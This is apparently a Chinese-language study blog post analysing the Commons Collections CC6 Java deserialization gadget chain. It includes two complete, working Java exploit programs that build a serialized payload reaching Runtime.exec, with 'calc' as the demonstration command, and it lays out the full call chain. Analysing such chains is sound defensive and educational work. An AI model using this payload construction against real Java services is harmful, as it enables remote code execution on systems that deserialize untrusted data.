JavaSec-CC6

Fc04dB Lv4

# CC6

CC6 不受 jdk 版本限制,算是一条最常用的 CC 链
这是 Ysoserial 上的 CC6,可以看到后半部分没变,从 LazyMap.get 开始通过 TiedMapEntry.getValue 来调用了,我们追踪一下

img

TiedMapEntry.getValue 调用了 map.get

image-20240918130413396

看构造函数,map,key 我们都能控制

image-20240918130447959

找 getValue 方法在哪调用,TiedMapEntry 自身的 hashCode 方法调用了,我们研究 URLDNS 的时候就是用到这里,那么显而易见,我们前面的就是 HashMap 了

image-20240918130535957

构造 exp,注意这里跟 URLDNS 有相同的问题,hashMap.put 的时候就触发了 hash 方法也同时调用了 hashCode,所以直接就执行命令了,还是同样的手法将某些值改一下就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("cc6.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, null);
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, chainedTransformer);
serialize(hashMap);
deserialize("cc6.bin");
}
}

但是这里奇怪的是还是没法弹计算器,我们调试一下看看,发现是 LazyMap.get 这里的问题,这里有一个 if 判断,我们这个 map 没有给值,在 hashMap.put 触发后给 put 进去一个 null 的键,第二次触发的之前我们把这个键删掉就行了。

image-20240918130659105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("cc6.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, null);
map.remove(null);
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, chainedTransformer);
serialize(hashMap);
deserialize("cc6.bin");
}
}

image-20240918131232435

TiedMapEntry 的使用

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);

TiedMapEntry 是一个特殊的 Map 条目,它持有对 Map 的引用,并与该 Map 的一个键相绑定。

修改 LazyMap 的工厂

1
2
3
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, chainedTransformer);

通过反射,获取 LazyMap 内部的 factory 字段,并将其设置为我们构造的 chainedTransformer ,以便在访问 LazyMap 时触发恶意代码执行。

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
  • Title: JavaSec-CC6
  • Author: Fc04dB
  • Created at : 2024-09-18 17:19:09
  • Updated at : 2024-09-18 17:20:35
  • Link: https://redefine.ohevan.com/2024/09/18/JavaSec-CC6/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
JavaSec-CC6